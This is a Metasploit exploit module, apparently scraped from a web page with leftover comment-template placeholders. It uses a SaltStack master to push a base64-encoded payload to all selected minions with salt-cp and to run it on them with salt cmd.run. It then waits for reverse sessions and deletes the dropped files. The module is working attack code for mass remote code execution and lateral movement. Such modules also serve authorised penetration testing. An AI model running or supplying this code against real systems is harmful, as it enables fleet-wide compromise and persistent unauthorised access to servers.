## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Local Rank = GoodRanking include Msf::Post::File include Msf::Exploit::EXE include Msf::Exploit::FileDropper include Msf::Exploit::Local::Saltstack prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'Saltstack Minion Payload Deployer', 'Description' => %q{ This exploit module uses saltstack salt to deploy a payload and run it on all targets which have been selected (default all). Currently only works against nix targets. }, 'License' => MSF_LICENSE, 'Author' => [ 'h00die', # msf module 'c2Vlcgo' ], 'Platform' => [ 'linux', 'unix' ], 'Stance' => Msf::Exploit::Stance::Passive, 'Arch' => [ ARCH_X86, ARCH_X64 ], 'SessionTypes' => [ 'shell', 'meterpreter' ], 'Targets' => [[ 'Auto', {} ]], 'Privileged' => true, 'References' => [], 'DisclosureDate' => '2011-03-19', # saltstack salt original release date 'DefaultTarget' => 0, 'Passive' => true, # this allows us to get multiple shells calling home 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [CONFIG_CHANGES, ARTIFACTS_ON_DISK] } ) ) register_options [ OptString.new('SALT', [true, 'salt-master executable location', '']), OptString.new('MINIONS', [true, 'Minions Target', '*']), OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]), OptString.new('TargetWritableDir', [ true, 'A directory where we can write and execute files on targets', '/tmp' ]), OptBool.new('CALCULATE', [ true, 'Calculate how many boxes will be attempted', true ]), OptInt.new('ListenerTimeout', [ false, 'The maximum number of seconds to wait for new sessions', 60 ]), OptInt.new('TIMEOUT', [true, 'Timeout for salt commands to run in seconds', 120]) ] end def salt_master return @salt if @salt [datastore['SALT'], '/usr/bin/salt-master', '/usr/local/bin/salt-master'].each do |exec| next unless executable?(exec) @salt = exec return @salt end @salt end def list_minions_printer minions = list_minions return if minions.nil? tbl = Rex::Text::Table.new( 'Header' => 'Minions List', 'Indent' => 1, 'Columns' => ['Status', 'Minion Name'] ) count = 0 minions['minions'].each do |minion| tbl << ['Accepted', minion] count += 1 end print_good(tbl.to_s) # https://github.com/rapid7/metasploit-framework/pull/18626#discussion_r1434577017 print_good("#{count} minions were found in the accepted state, and will attempt to execute payload. If this isn't an expected volume (too many), ctr+c to halt execution. Pausing 10 seconds.") Rex.sleep(10) count end def check return CheckCode::Safe('salt-master does not seem to be installed, unable to find salt-master executable') if salt_master.nil? CheckCode::Vulnerable('salt-master executable found') end def exploit # Make sure we can write our exploit and payload to the local system fail_with Failure::BadConfig, "#{datastore['WritableDir']} is not writable" unless writable? datastore['WritableDir'] count = 1 # default to running if we decide not to calculate count = list_minions_printer if datastore['CALCULATE'] fail_with Failure::NotFound, 'No exploitable minions found.' if count == 0 payload_name = rand_text_alphanumeric(5..10) # due to a bug in older (2021) versions of salt-cp, we need to write ascii files. https://github.com/saltstack/salt/issues/59899 upload_and_chmodx "#{datastore['WritableDir']}/#{payload_name}", Rex::Text.encode_base64(generate_payload_exe) print_status('Copying payload to minions') cmd_exec("salt-cp '#{datastore['MINIONS']}' '#{datastore['WritableDir']}/#{payload_name}' '#{datastore['TargetWritableDir']}/#{payload_name}.b64'") print_status('Executing payloads') cmd_exec("salt '#{datastore['MINIONS']}' cmd.run 'base64 -d #{datastore['TargetWritableDir']}/#{payload_name}.b64 > #{datastore['TargetWritableDir']}/#{payload_name} && chmod 755 #{datastore['TargetWritableDir']}/#{payload_name} && #{datastore['TargetWritableDir']}/#{payload_name}'") # stolen from exploit/multi/handler stime = Time.now.to_f timeout = datastore['ListenerTimeout'].to_i loop do break if timeout > 0 && (stime + timeout < Time.now.to_f) Rex::ThreadSafe.sleep(1) end end def on_new_session(_session) super cli.core.use('stdapi') if !cli.ext.aliases.include?('stdapi') begin print_warning("Deleting: #{datastore['TargetWritableDir']}/#{payload_name}") cli.fs.file.rm("#{datastore['TargetWritableDir']}/#{payload_name}") print_good("#{datastore['TargetWritableDir']}/#{payload_name} removed") rescue StandardError print_error("Unable to delete: #{datastore['TargetWritableDir']}/#{payload_name}") end end end
{{ x.nick }}
| Date:{{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1 {{ x.comment }} |